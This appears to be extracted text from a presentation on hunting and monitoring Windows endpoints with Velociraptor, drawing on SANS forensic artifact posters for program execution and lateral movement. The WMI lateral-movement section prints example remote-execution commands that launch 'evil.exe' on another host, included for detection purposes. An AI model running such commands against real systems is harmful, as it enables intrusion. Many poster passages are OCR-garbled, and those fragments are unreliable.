The "Evidence of..." categories were originally created by SANS Digital Forensics and Incidence Response faculty for the SANS course FOR500: Windows Forensic Analysis. The categories map a specific artifact to the analysis questions that it will help to answer. Use this poster as a cheat-sheet to help you remember where you can discover key Windows artifacts for computer intrusion, intellectual property theft, and other common cyber crime investigations.

Windows<sup>®</sup> Time Rules \$ S T A N D A R D \_ I N F O R M A T I O N

Copy

Inherited from Origin

Access -

Time of

File Copy

Metadata -

Time of

File Copy

Creation

Time of

File Copy

**\$FILENAME** 

File

Copy

Modified -

Time of

File Copy

Access :

Time of

File Copy

Metadata

Time of

File Copy

Creation -

Time of

File Copy

### **Program Execution**

File

Modified -

Time of Data

Modification

Access -

No Change

Metadata ·

Time of Data

Modification

Creation -No Change

File Modificat

Modified -No Change

Access -No Change

Metadata

No Change

Creation

No Change

Rename

Modified

No Change

Access – No Change

Metadata -

Time of

File Rename

Creation -

No Change

File

Rename

Modified -No Change

Access ·

No Change

Metadata – No Change

Creation -

No Change

File

Creation

Modified -

Time of File

Creation

Access -

Time of

**File Creation** 

Metadata

Time of

**File Creation** 

Time of

**File Creation** 

File

Creation

Modified -

Time of File

Creation

Access

Time of

**File Creation** 

Metadata -

Time of

File Creation

Creation -

Time of

File Creation

Creation -

Access

Modified – No Change

Access

ime of Acces

Metadata

No Change

Creation

No Change

Access

Modified

No Change

Access -

No Change

Metadata

No Change

Creation

No Change

#### Shimcache

ProgramDataUpdater (a task associated with the Application Experience Service) uses the registry file Amcache.hve to store data during process creation

#### Location win7/8/10:

C:Windows\AppCompat\Programs\Amcache.hve

Interpretation Entry for every executable run, full path information, File's \$StandardInfo Last Modification Time, and Disk volume the executable was run from First Run Time = Last Modification Time of Key

SHA1 hash of executable also contained in the key

#### Licago Monitor

#### Last-Visited MRU

File

Deletion

Modified -No Change

Access – No Change

Metadata -No Change

Creation -

No Change

File Deletion

Modified -No Change

Access -

No Change

Metadata

No Change

Creation

No Change

Volume

File Move

Modified – Inherited from Original

Access – Time of Cut/Paste

Metadata – Inherited from Original

Creation -Inherited from Original

File Move

Modified -

Time of

Cut/Paste

Access ·

Time of

Cut/Paste

Metadata

Time of

Cut/Paste

Creation

Time of

Cut/Paste

Volume

File Mov

Inherited from Origina

Access

Time of File

Move via CLI

Metadata -Inherited

from Origina

Creation

Time of File

Move via CLI

/olume

File Move

Modified -

Time of Move

via CLI

Access -

Time of Move

via CLI

Metadata ·

time of Move

via CLI

Creation -

Time of Move

via CLI

Local

File Move

Modified -No Change

Access -

No Change

Metadata -

Time of Local

File Move

Creation -

No Change

Local

File Move

Modified

No Change

Access -

No Change

Metadata

No Change

Creation

No Change

each value also tracks the directory location for the last file Example: Notepad.exe was last run using the C: CUSERPROFILESA Desktop folder

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\ LastVisitedPidIMRU

Interpretation Tracks the application executables used to open files in OpenSaveMRU and the last file path used.

### **File Download**

#### Open/Save MRU

#### In the simplest terms, this key tracks files that have been opened or in the simplest terms, this key tracks mes that have been opened of saved within a Windows shell dialog box. This happens to be a big data set, not only including web browsers like internet Explorer and Firefox, but also a majority of commonly used applications.

#### Location

APT: NTUSER. DATi Software' Microsoft (Windows) Current Version 'Explorer' Com Dig 32:0p en SaveMRU

vern//o/ro: NTUSER.DAT/Software/Microsoft/Windows/CurrentVersion/Explorer/ComDig 32/OpenSavePIDIMRU

Interpretation

most recent files of any extension

Interpretation All values are ROT-13 Encoded GUID for XP 75048700 Active Desktop

Location

(GUID)/Count

the launcher on a Windows System.

GUID for Win7/8/10 CERCESCD Executable File Execution

UserAssist

 Windows Application Compatibility Database is used by Windows to identify possible application compatibility GUI-based programs launched from the desktop are tracked in challenges with executables. Tracks the executables file name, file size, last modified time, and in Windows XP the last update time

Description

#### NTUSER.DAT Software Microsoft Windows Currentversion Explorer User Assist Location

SYSTEM/CurrentControlSet/ControlSessionManager/AppCompatibility

SYSTEM/CurrentControlSet\ControlSession Manager/AppCompatCache

Any executable run on the Windows system could be found in this key. You can use this key to identify systems that nalware was executed on. In addition, based on the

#### Amcache.hve

Tracks the specific executable used by an application to open Description the files documented in the OpenSaveMRU key. In addition, that was accessed by that application.

#### Location

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDig32 LastVisitedMRU

### **Program Execution**

#### UserAssist

#### Description

GUI-based programs launched from the desktop are tracked in the launcher on a Windows System.

#### Location

Yo

\$25.00 Poster FOR500\_V4.6\_12-18

Poster Created by Rob Lee wit 0 2018 Rob Lee. All Rights Ret

SANS

Description

In the sin

saved with

set, not only

but also a m

Location XP: NTUSER.DAT\Soft Win7/8/10: NTUSER.DAT\Soft NTUSER.DAT HIVE: NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\ {GUID}\Count

#### Interpretation

- All values are ROT-13 Encoded • GUID for XP
- 75048700 Active Desktop
- GUID for Win7/8/10
- CEBFF5CD Executable File Execution
   F4E57C4B Shortcut File Execution

#### **Windows 10 Timeline**

#### Description

Win10 records recently used applications and files in a "timeline" accessible via the "WIN+TAB" key. The data is recorded in a SQLite database.

#### Location

C:\Users\<profile>\AppData\Local\ConnectedDevices Platform\L.<profile>\ActivitiesCache.db

#### Interpretation

Application execution
 Focus count per application

#### RecentApps

#### Description

GUI Program execution launched on the Win10 system is tracked in the RecentApps key

#### Location Win10:

NTUSER.DAT\Software\Microsoft\Windows\Current Version\Search\RecentApps

#### Interpretation

Each GUID key points to a recent application. AppID = Name of Application LastAccessTime = Last execution time in UTC LaunchCount = Number of times executed

#### Shimcache

#### Description

 Windows Application Compatibility Database is used by Windows to identify possible application compatibility challenges with executables.

 Tracks the executables file name, file size, last modified time, and in Windows XP the last update time

#### Location

XP:

 $\label{eq:system} SYSTEM (Current Control Set \ Control Session Manager \ App Compatibility \ Win 7/8/10:$ 

#### $\label{eq:system} SYSTEM \verb|CurrentControlSet|Control|Session Manager|AppCompatCache| \\$

#### Interpretation

Any executable run on the Windows system could be found in this key. You can use this key to identify systems that specific malware was executed on. In addition, based on the interpretation of the time-based data you might be able to determine the last time of execution or activity on the system. • Windows XP contains at most 96 entries

- LastUpdateTime is updated when the files are executed • Windows 7 contains at most 1,024 entries
- LastUpdateTime does not exist on Win7 systems

#### Jump Lists

#### Description

 The Windows 7 task bar (Jump List) is engineered to allow users to "jump" or access items they have frequently or recently used quickly and easily. This functionality cannot only include recent media files; it must also include recent tasks.

 The data stored in the AutomaticDestinations folder will each have a unique file prepended with the AppID of the associated application.

#### Location

Win7/8/10:

#### 

#### Interpretation

- First time of execution of application.
   Creation Time = First time item added to the AppID file.
- Last time of execution of application w/file open.
- Modification Time = Last time item added to the AppID file. List of Jump List IDs ->

http://www.forensicswiki.org/wiki/List\_of\_Jump\_List\_IDs

#### Amcache.hve

Windows<sup>®</sup> Time Rules

#### Description

ProgramDataUpdater (a task associated with the Application Experience Service) uses the registry file Amcache.hve to store data during process creation

#### Location

Win7/8/10:

#### C:\Windows\AppCompat\Programs\Amcache.hve

#### Interpretation

- Entry for every executable run, full path information, File's \$StandardInfo Last Modification Time, and Disk volume the
- executable was run from • First Run Time = Last Modification Time of Key
- · SHA1 hash of executable also contained in the key

#### System Resource Usage Monitor (SRUM)

#### Description

Records 30 to 60 days of historical system performance. Applications run, user account responsible for each, and application and bytes sent/received per application per hour.

#### Location

SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Extensions {d10ca2fe-6fcf-4f6d-848e-b2e99266fa89} = Application Resource Usage Provider C:\Windows\ System32\SRU\

#### Interpretation

Use tool such as **srum\_dump.exe** to cross correlate the data between the registry keys and the SRUM ESE Database.

#### BAM/DAM

#### Description

Windows Background Activity Moderator (BAM)

#### Location

#### Win 10: SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID} SYSTEM\CurrentControlSet\Services\dam\UserSettings\{SID}

#### **Investigative Notes**

Provides full path of the executable file that was run on the system and last execution date/time

#### **Last-Visited MRU**

#### Description

Tracks the specific executable used by an application to open the files documented in the OpenSaveMRU key. In addition, each value also tracks the directory location for the last file that was accessed by that application.

Example: Notepad.exe was last run using the C:%USERPROFILE% Desktop folder

#### Location

 $\label{eq:ntuscal} NTUSER.DAT\split Microsoft\windows\currentVersion\Explorer\ComDlg32\LastVisitedMRU$ 

Win7/8/10: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\ LastVisitedPidIMRU

#### Interpretation

Tracks the application executables used to open files in OpenSaveMRU and the last file path used.

#### Prefetch

#### Description

 Increases performance of a system by pre-loading code pages of commonly used applications. Cache Manager monitors all files and directories referenced for each application or process and maps them into a .pf file. Utilized to know an application was executed on a system.

- Limited to 128 files on XP and Win7
- Limited to 1024 files on Win8
- (exename)-(hash).pf

#### Location WinXP/7/8/10:

#### C:\Windows\Prefetch

#### Interpretation

- Each .pf will include last time of execution, number of times run, and device and file handles used by the program
- Date/Time file by that name and path was first executed - Creation Date of .pf file (-10 seconds)
- Date/Time file by that name and path was last executed
   Embedded last execution time of .pf file
- Last modification date of .pf file (-10 seconds)
- Win8-10 will contain last 8 times of execution

Interpretation

in this key. You can use this key to identify on, based on the

OpenSaveMRU and the last nie p

# We have an artefact for that too

Velociraptor   C.d504fae95fdb7f3 × +	
→ C A Not secure   https://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/flows	
Search Box Q Velocidex-01 Oconnected	
st New Artifact Collection - Select Artifacts to collect	Creator nick
Step 1 out of 2 execution Queries	nick
Windows.Analysis.EvidenceOfExecution	
Windows Attack ParentProcess	
Windows.Forensics.Bam	
Windows.Forensics.Prefetch         SELECT * EROM Artifact Windows	
Mindows Earopeies DecentAppe	
F Selected Artifacts: Add Precodition	DecentAppe
Use "Add" button or double-click to add artifacts to the list. Queries	Recentapps
SELECT * FROM Artifact.Win	ndows.Forensics.RecentApps()
Precodition	
Queries	Appeonipaceaei
Clear Remove SELECT * FROM Artifact.Win	ndows.Registery.AppCompatCache()
	Next

\* artefacts build

upon each

2	Velocira	ptor   C.d504fae95fdb7f3 ×	+		-	- 0	×			
$\leftarrow$	$\rightarrow$ (	A Not secure   https:	//localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/flows			☆	<b>a</b> :			
Ξ	Search Box Q Velocidex-01 Connected									
*	+ 🖻 🕹 💠									
¢	State	FlowId	Artifacts Collected	Creation Time	Last Active	С	reator			
J.C.	~	F.BKT2DRM5595VC	Windows.Analysis.EvidenceOfExecution	2019-07-25 22:02:22 UTC	2019-07-25 22:02:25 UTC	ni	ck			
	~	F.BKSRSK7NRUS7S	VFSListDirectory	2019-07-25 14:36:00 UTC	2019-07-25 14:36:00 UTC	ni	ck			
۲	~	F.BKSRSJ34A45P6	VFSListDirectory	2019-07-25 14:35:56 UTC	2019-07-25 14:35:56 UTC	ni	ck _			
	Artifact Collection Uploaded Files Requests Results Log Reports									
	Windows.Analysis.EvidenceOfExecution									

### Windows.Analysis.EvidenceOfExecution/UserAssist

Ä

Show 10 v entries		Search:				
Name	<ul> <li>User</li> </ul>	LastExecution	LastExecutionTS	NumeberOfExecutions \u00e9		
C:\Users\Nick\Downloads\SysinternalsSuite\PsExec.exe	Nick	2019-07- 24T21:24:01Z	1564003441	1		
C:\Users\Public\Desktop\Google Chrome.Ink	Nick	2019-07- 23T09:02:33Z	1563872553	1		
Chrome	Nick	2019-07- 25T21:58:10Z	1564091890	17		
Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe!App	Nick	2019-07- 23T08:59:53Z	1563872393	14		

## Lateral movement - WMI

# Hunt Evil: Lateral Movement During incident response and threat hunting, it is critical to understand how attackers move around your network. Lateral movement is an inescapable requirement for attackers to stealthily

burning incluence response and threat numbers, it is critical to understand now attackers move around your network. Laterat movement is an mescapable requirement for attackers to steating a breach. move from system to system and accomplish their objectives. Every adversary, including the most skilled, will use some form of lateral movement technique described here during a breach. Nove from system to system and accomptish their objectives. Every adversary, including the most skilled, wit use some form of lateral movement technique described here during a breach. Understanding lateral movement tools and techniques allows responders to hunt more efficiently, quickly perform incident response scoping, and better anticipate future attacker activity. Tools and techniques to hunt the artifacts described below are detailed in the SANS DFIR course FOR508: Advanced Digital Forensics, Incident Response, and Threat Hunting

Desktop Client

Time Executed

Executed

\*mstsc.exe

•net.exe

\*net1.exe

### Additional FileSystem Artifacts

Deep-dive analysis techniques such as file carving, volume shadow analysis, and NTFS log file analysis can be instrumental in recovering many of these artifacts (including the recovery of registry and event log files and records).

#### Additional References

SANS DFIR FOR508 course: http://sans.org/FOR508 ATT&CK Lateral Movement: http://for508.com/attck-lm JPCERT Lateral Movement: http://for508.com/jpcert-lm

Artifacts in memory analysis will allow for additional tracking of potential evidence of execution and command line history. We recommend auditing and dumping the "conhost" processes on the various systems. Example: vol.py -f memory.img --profile=<profile> memdump -n conhost --dump-dir=. Perform searches for executable keywords using grep. Also check running processes (mstsc, rdpclip, etc.). strings -t d -e l \*.dmp >> conhost.uni

#### DESTINATION

#### that the logs are not overwritten or otherwise deleted. **REMOTE ACCESS** FILE SYSTEM REGISTRY Prefetch - C:\Windows\Prefetch\ EVENT LOGS •rdpclip.exe-{hash}.pf ShimCache - SYSTEM Microsoft-Windows-Terminal •tstheme.exe-{hash}.pf Remote Desktop •rdpclip.exe Services-RemoteConnection SOURCE Security Event Log -•tstheme.exe FILE SYSTEM Manager%40perational.evtx security.evtx AmCache.hve -■ Jumplists - C: \Users\<Username>\ • 4624 Logon Type 10 REGISTRY First Time Executed · 1149 AppData\Roaming\Microsoft\Windows\ - Source IP/Logon User Name - Source IP/Logon User Name Remote desktop destinations UserAssist - NTUSER.DAT Blank user name may indicate •rdpclip.exe Recent\AutomaticDestinations\ . 4778/4779 •tstheme.exe - IP Address of Source/Source use of Sticky Keys are tracked per-user Desktop Client execution · (MSTSC-APPID) -Microsoft-Windows-Terminal automaticDestinations-ms •NTUSER\Software\ System Name Last Time Executed Tracks remote desktop connection Services-LocalSession Microsoft\Terminal - Logon User Name Number of Times Executed Manager%40perational.evtx Server Client\Servers destination and times RecentApps - NTUSER . DAT Microsoft-Windows-Prefetch - C: \Windows\Prefetch\ RemoteDesktopServices-ShimCache – SYSTEM · 21, 22, 25 ·mstsc.exe Remote - Source IP/Logon User Name RdpCoreTS%40perational.evtx \*mstsc.exe Remote \*mstsc.exe-{hash}.pf Desktop Client execution • 131 – Connection Attempts Bitmap Cache - C: \USERS \<USERNAME>\ . 41 Last Time Executed - Source IP/Logon User Name AppData\Local\Microsoft\Terminal - Logon User Name BAM/DAM - SYSTEM - Last Number of Times Executed •98 - Successful Connections Recentitems subkey tracks Server Client\Cache connection destinations and \*mstsc.exe Remote ·bcache##.bmc FILE SYSTEM Desktop Client ·cache####.bin times REGISTRY AmCache . hve - First Time File Creation Attacker's files (malware) copied to EVENT LOGS **Map Network Shares** • 4768 - TGT Granted destination system Look for Modified Time before - Source Host Name/Logon User Security Event Log -FILE SYSTEM (net.exe) security.evtx Creation Time - Available only on domain controller Creation Time is time of file copy Prefetch - C:\Windows\Prefetch\ • 4624 Logon Type 3 to C\$ or Admin\$ - Source IP/Logon User Name

#### EVENT LOGS security.evtx • 4648 - Logon specifying

alternate credentials - Current logged-on User Name - Alternate User Name - Destination Host Name/IP - Process Name

Additional Event Logs

EVENT LOGS

• 4648 - Logon specifying alternate

- Current logged-on User Name

RDPClient%40perational.evtx

- Destination Host Name/IP

- Destination Host Name

- Destination IP Address

- Alternate User Name

- Process Name

Microsoft-Windows-

TerminalServices-

credentials - if NLA enabled on

security.evtx

destination

• 1024

· 1102

Process-tracking events, Sysmon, and similar logging

capabilities are not listed here for the sake of brevity.

However, this type of enhanced logging can provide significant visibility of an intruder's lateral movement, given

#### Microsoft-Windows-+sasecurity.evtx

#### REGISTRY

Last Time Executed

MountPoints2 – Remotely mapped shares •NTUSER\Software\Microsoft\Windows\ CurrentVersion\Explorer\MountPoints2 Shellbags - USRCLASS. DAT

 Remote folders accessed inside an interactive session via Explorer by attackers ShimCache - SYSTEM

•net.exe-{hash}.pf •net1.exe-{hash}.pf User Profile Artifacts

 Review shortcut files and jumplists for remote files accessed by attackers, if they had interactive access (RDP)

• 4672

- Logon User Name - Logon by user with administrative rights - Requirement for accessing default shares such as C\$ and ADMIN\$ • 4776 - NTLM if authenticating to Local System

- Source Host Name/Logon

• 4769 - Service Ticket Granted if authenticating to Domain Controller - Destination Host Name/Logon User Name - Source IP - Available only on domain controller • 5140 - Share Access • 5145

- Auditing of shared files - NOISY!
### Lateral movement - WMI

### On source computer

#### **EVENT LOGS**

#### security.evtx

- 4648 Logon specifying alternate credentials
- Current logged-on User Name
- Alternate User Name
- Destination Host Name/IP
- Process Name

- ShimCache SYSTEM
  •wmic.exe
- BAM/DAM SYSTEM Last Time Executed •wmic.exe

REGISTRY

AmCache.hve - First Time Executed •wmic.exe

### FILE SYSTEM Prefetch - C:\Windows\Prefetch\ •wmic.exe-{hash}.pf



#### wmic /node:host process call create "evil.exe" Invoke-WmiMethod -Computer host -Class Win32\_Process -Name create -Argument "c:\temp\evil.exe"

### On destination computer

#### security.evtx

- 4624 Logon Type 3
- Source IP/Logon User Name
- 4672
- Logon User Name
- Logon by an a user with administrative rights

#### **EVENT LOGS**

- Microsoft-Windows-WMI-Activity%40perational.evtx
- 5857
  - Indicates time of wmiprvse execution and path to provider DLL – attackers sometimes install malicious WMI provider DLLs
  - 5860, 5861
  - Registration of Temporary (5860) and Permanent (5861) Event Consumers. Typically used for persistence, but can be used for remote execution.

#### REGISTRY

•wmiprvse.exe

•mofcomp.exe

AmCache.hve -

evil.exe

First Time Executed

• wmiprvse.exe

mofcomp.exe

•evil.exe

- ShimCache SYSTEM
  - •evil.exe

File Creation

• evil.mof – .mof files can be used to manage the WMI Repository

FILE SYSTEM

- Prefetch C:\Windows\Prefetch\
- •evil.exe-{hash}.pf
- •wmiprvse.exe-{hash}.pf
- •mofcomp.exe-{hash}.pf
- Unauthorized changes to the WMI Repository in C: \Windows\ System32\wbem\Repository

vider DLLs , **5861** vistration of Temporary (5

₩ Velociraptor   C.d504fae95fdb7f3 × +									
← → C ▲ Not secure   https://localhost:8889/app.html#/clients/C.d504f	ae95fdb7f3f/flows	☆		* *					
Search Box Q Velocidex-01  connected									
St Now Artifact Collection Scient Artifacto to a	allaat	Х	Crea	ator 🔶					
Step 1 out of 2	onect		lick						
lateral	Detect evidence of lateral movement.	•	^ iick						
Windows.Packs.LateralMovement			-						
	Precondition	L							
	Queries								
'Э <sub>1</sub>	<pre>SELECT * FROM Artifact.Windows.EventLogs.AlternateLogon()</pre>	L							
Add Add	Precondition	L							
Use "Add" button or double-click to add artifacts to the list.	Queries								
	<pre>SELECT * FROM Artifact.Windows.Forensics.Prefetch() WHERE Executable =~ "wmic.exe"</pre>		4						
	Precondition								
	Queries								
	<pre>SELECT * FROM Artifact.Windows.Registry.AppCompatCache() WHERE Name =~ "wmic.exe"</pre>								
Remove	Dracondition	-	-						
		Next							
	2010.27	07.25	22.00	20.1174					

# Scenario: Hunt for specific IOCs

#### ••• < > 🗉

### >FIREEYE"

fireeye.com

### APT32

Also known as: OceanLotus Group

Suspected attribution: Vietnam

Target sectors: Foreign companies investing in Vietnam's manufacturing, consumer products, consulting and hospitality sectors

**Overview:** Recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business, manufacturing or preparing to invest in the country. While the specific motivation for this activity remains opaque, it could ultimately erode the competitive advantage of targeted organizations.

Associated malware: SOUNDBITE, WINDSHIELD, PHOREAL, BEACON, KOMPROGO

Attack vectors: APT32 actors leverage ActiveMime files that employ social engineering methods to entice the victim into enabling macros. Upon execution, the initialized file typically downloads multiple



C

<u>ا</u>

Q

0

### Additional resources

**Blog** - Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations

Webinar – APT32: New Cyber Espionage Group

					attack.mit	 tre.org	<i>(</i>		
	MITRE	ATT&CK <sup>∞</sup>	Matrices Resources <del>-</del>	Tactics <del>▼</del> Blog <b>⊘</b> *	Techniques 👻 Contribute	<u>Groups</u>	Software	Search site	
	GROUPS	Но	ome > Groups > ,	APT30					
APT	3 Overview admin@338	Д	PT30						
Also kno	W APT1	AP	T30 is a throat a						
Suspecte	APT12	gov	ernment. <sup>[1]</sup> Whil	le Naikon share	to be associated	with the Chin	lese		
T wat o	APT16	gro	T30, the two	ID: G0013					
manufac	APT17			and hospit				Version: 1.0	
manara	APT18	Sc	ftware						
Overvie	APT19	ID	Name						
manufa	APT28	aring to inv		References	Techniques				
motivat	APT29	S00	BACKSPACE	[1]	Command-Line In	Iterface Com			
the cor	APT3				Exfiltration Over C	Command and (	Ction Proxy, Data O Control Channel Fil	bfuscation, Disabling Security Too	ols,
Associ	APT30	SC. NO BITE			Startup Folder, Sh	age Channels, P Ortcut Modifier	Process Discovery, (	Query Registry, Registry Rup Kour	,
KOMP	APT32	5000			Information Disco	Very	nion, Standard App	lication Layer Protocol, System	
	APT33	3003	FLASHFLOOD	[1]	Data Encrypted, Da	ata from Local 9	System D		
Attac	APT37	\$002	A IF THE A	m into enc	and Directory Disco	overy, Registry	Run Keys / Startup	Removable Media, Data Staged, Fi Folder	le
Upor	APT38	50034	NEIEAGLE	[1]	Command-Line Inte	erface, Custom	Command and Cor	ntrol Protocol Even	

# Scenario: Hunt for shadow IT

0

# Hunting for Dropbox usage

Searc	h Box	Q DESKTOP-6CBJ8MJ	connected				0 mid
+ 🛍	<b>2</b>						
tate Flowld		Artifacts Collected			Creation Time	Last Active	Creator
✓ F.BKE9	AQUGNA20S	Windows.Applications.Chrome.Hi Windows.Applications.Chrome.Ez Windows.Applications.Chrome.Co	story ktensions pokies		2019-07-03 11:45:47 UTC	2019-07-03 11:45:56 UTC	mic
✓ F.BKE9	87AQPQP7S	Windows.Applications.Chrome.Ex	tensions		2019-07-03 11:40:13 UTC	2019-07-03 11:40:16 UTC	mic
Artifact Co Windows.A Windov	Applications.Chrome.I	History	s Log F	Reports			~
Show 1	0 🗸 entries					Search: drop	
User 4	FullPath \C:\Users\test\App Data\Default\Histo	Data\Local\Google\Chrome\User	Mtime 2019-07- 03T11:44:35Z	visited_url https://chrome.google.com/web	ostore/search/dropbox		
test	\C:\Users\test\App Data\Default\Histo	Data\Local\Google\Chrome\User ry	2019-07- 03T11:44:35Z	https://www.google.com/search q=dropbox&rlz=1C1CHBF_en/ 8	n? AU843AU843&oq=dropbox&aqs=chro	me69i57j0l5.1871j0j7&sourceid=chro	me&ie=L
			2010.07				
test	\C:\Users\test\App Data\Default\Histo	Data\Local\Google\Chrome\User ory	03T11:44:35Z	https://www.dropbox.com/			

*	-	• 🛍 4	₽ \$									
ф	State	FlowId	Ar	ifacts Collected					Creation Time	Last Active	Creat	tor
e l	~	F.BKE9AQUGN	Wi NA20S Wi Wi	ndows.Applications ndows.Applications ndows.Applications	s.Chrome.History s.Chrome.Extensions s.Chrome.Cookies				2019-07-03 11:45:47 UTC	2019-07-03 11:45:56 UTC	mic	
	~	F.BKE987AQP	QP7S Wi	ndows.Applications	S.Chrome.Extensions				2019-07-03 11:40:13 UTC	2019-07-03 11:40:16 UTC	mic	
ک ۳	W	indows./	Applicatio	ons.Chro	me.Cookie	es						
ک و ۸	W	indows./	Applicatio	ons.Chro	me.Cookie	es				Search: dropbox		)
ک ۹	W	indows./ Show 10 ∨ e Created ▲	Applicatio	DNS.Chro Expires	me.Cookie	S name ∳	path	ue 🔶 E	EncryptedValue	Search: dropbox		]
د ۹	W	indows./ Show 10 ∨ e Created ▲ 2019-07- 03T11:41:36Z	Applicatio	Expires \$	me.Cookie	Sentiment of the second secon	path ∳ val	ue 🔶 🛛 E A(	EncryptedValue QAAANCMnd8BFdERjHoAwE/CI+s	Search: dropbox BAAAA3LhKs5AJj0+0gz+rlOqqOQA	AAACAAA	
CC A	W	indows./ Show 10 ∨ e Created ▲ 2019-07- 03T11:41:36Z 2019-07- 03T11:41:36Z	Applicatio	Expires 2024-07- 01T11:41:36Z 2024-07- 01T11:41:36Z	host_key	Server S	path	ue 🔶 E A(	EncryptedValue QAAANCMnd8BFdERjHoAwE/CI+s QAAANCMnd8BFdERjHoAwE/CI+s	Search: dropbox BAAAA3LhKs5AJj0+0gz+rlOqqOQA BAAAA3LhKs5AJj0+0gz+rlOqqOQA	AAAACAAA	
	W	indows./ Show 10 ∨ e Created ▲ 2019-07- 03T11:41:36Z 2019-07- 03T11:41:36Z 2019-07- 03T11:41:37Z	Applicatio	Expires 2024-07- 01T11:41:36Z 2024-07- 01T11:41:36Z 2020-07- 02T11:41:38Z	me.Cookie	Second state in the second state in the second state is a second state in the second	path ♦ val / / / /	ue 🔶 E A( A(	EncryptedValue QAAANCMnd8BFdERjHoAwE/CI+s QAAANCMnd8BFdERjHoAwE/CI+s QAAANCMnd8BFdERjHoAwE/CI+s	Search: dropbox BAAAA3LhKs5AJj0+0gz+rlOqqOQA BAAAA3LhKs5AJj0+0gz+rlOqqOQA BAAAA3LhKs5AJj0+0gz+rlOqqOQA	ААААСАА4 ААААСАА4 ААААСАА4	/ / /

Ξ

 $\diamond$ 

æ

۲

=

Э А

=	V	φ	State	e Flowld	Artifacts Collected			Creation Time		Last Active		Creator
*		J.C	~	F.BKE9K6HVQHR34	Windows.Sys.Programs			2019-07-03 12:05:46	UTC	2019-07-03 12:05:4	8 UTC	mic
φ	Sta											
,c			A	Artifact Collection Upload	ed Files Requests	Results Log	Reports					
•			V	Windows.Sys.Programs								
	•											
				Indows.Sys.Pr	ograms							
		9		Show 10 v entries						Search:	dropbox	
5		A		Name 🔺 MTime	♦ DisplayName ♦	DisplayVersion	InstallLocation	InstallSource	Language	Publisher	UninstallStrin	ıg
A				Dropbox 2019-07- 03T11:46	5:20Z Dropbox	75.4.141	C:\Program Files (x86)\Dropbox\Client			Dropbox, Inc.	"C:\Program File (x86)\Dropbox\( /InstallType:MA	es Client\Dro CHINE
				{099218A5- A723-43DC- 2019-07- 8DB5- 03T11:43 6173656A1E94}	Dropbox Update 3:28Z Helper	1.3.189.1		C:\Program Files (x86)\Dropbox\Update\1.3.189.1	1033	Dropbox, Inc.	MsiExec.exe /l{ 6173656A1E94	099218A
				Showing 1 to 2 of 2 entries (f	iltered from 57 total entries)						Previous 1	Nex
	Ŀ			<								
			L									

Ξ

1

 $\diamond$ 

J.C.

۲

A

# Turn hunting into monitoring





# Event artifacts are never-ending VQL queries that watch for events on clients and stream those events to the server when they occur

# Scenario: Monitor DNS on the endpoints

# Monitor DNS on the endpoints

- DNS is an excellent network indicator 😌
- But many organisations still don't log DNS 😕
- Logging on internal DNS or network gateway is limited 😕
- Velociraptor can monitor DNS at the endpoint G





Showing 1 to 10 of 30 entries

Previous 1 2 3 Next

# Scenario: Monitoring USB devices

# Monitoring USB devices

- USB drives are a constant threat:
  - Can introduce malware
  - Commonly used to exfiltrate confidential documents
- Forensic analysis of USB usage has blind spots
- Velociraptor provides artefacts that can watch for USB drive insertion and take various actions



		– 0 ×
← → C ▲ Not secure   https://localhost:8889/app.html#,	/view_artifacts	☆ 😩 :
Search Box Q Velocidex-01	connected	0 nick
4 + 🖋 🖻		
<b></b>		
thumbdrives	Windows Dotacti	on Thumhdrivos List
Windows.Detection.Thumbdrives.List	Windows.Delection	on. mumbunves.cist
Windows.Detection.Thumbdrives.OfficeKeywords	iype. client_event	
Windows.Detection.Thumbdrives.OfficeMacros	Users inserting Thumb drives or othe contain malware or other undesirabl documents.	er Removable drive pose a constant security risk. The external drive may le content. Additionally thumb drives are an easy way for users to exfiltrate
	This artifact watches for any remova	able drives and provides a complete file listing to the server for any new drive
	inserted. It also provides information	n about any addition to the thumb drive (e.g. a new file copied onto the drive).
	We exclude very large removable dr	rives since they might have too many files.
-0	Parameters	50000
A	Name	Default
	maxDriveSize	3200000000
	Source	
	<pre>1 LET removable_disks = SELEG 2 atoi(string=Data.Size) 3 FROM glob(globs="/*", acce 4 WHERE Data.Description =~ 5 Size &lt; atoi(string=maxD 6 LET file_listing = SELECT 7 timestamp(epoch=Mtime. 8 Size 9 FROM glob(globs=Drive+"\\* 10 LIMIT 1000 11 CELECT + EDDM dicc(</pre>	<pre>ECT Name AS Drive, ) AS Size essor="file") "Removable" AND DriveSize) FullPath, .Sec) As Modified, **", accessor="file")</pre>

Veccaper (ver Arthets <b>Veccaper (ver Arthets        <b>Veccaper (ver Arthets      <b>Veccaper (ver Arthets) Veccaper (ver Arthets)</b>  &lt;</b></b>					
Weddright (Weddright (Weddright )) Weddright (Weddri		3	Velociraptor   View Artifacts × +		- 0 ×
Image: Search Box       Im	Velociraptor I View	Artifact	→ C A Not secure   https://localhost:8889/app.html#/view_artifacts		* .
Search Box     Immbd/ves  <	→ C ▲ N	Not se	Search Box Q Velocidex-01 Oconnected		0 nick
Image: Section Thumbdrives       Image: Section Thumbdrives <td< td=""><td>Search E</td><td>Box</td><td>+ 🖋 🛍</td><td></td><td></td></td<>	Search E	Box	+ 🖋 🛍		
Windows Detection. Thumbdrives List   Windows Det	+ 🖋	÷	thumbdrives	Minute Det	
thumbdrives       Windows Detection Thumbdrives OfficeKeywords         Windows Det       Windows Det         Windows Det			Windows.Detection.Thumbdrives.List	vvindows.Det	ection. I humbarives.OfficeKeywords
Windows Det Windows Det Windows Detection. Thumbdrives. Office Macros     Windows Det Windows Det Windows Detection. Thumbdrives. Office Macros   Windows Det Windows Detection. Thumbdrives. Office Macros Windows Detection. Thumbdrives. Defice Macros. We exclude very large removable drives of exclude very large removable drives of exclude very large removable drives of exclude very large removable drives. Ware Cuber Parameters Ware Cuber Parameters Ware Cuber Param	thumb	bdrives 👁	Windows.Detection.Thumbdrives.OfficeKeywords	Type: client_event	
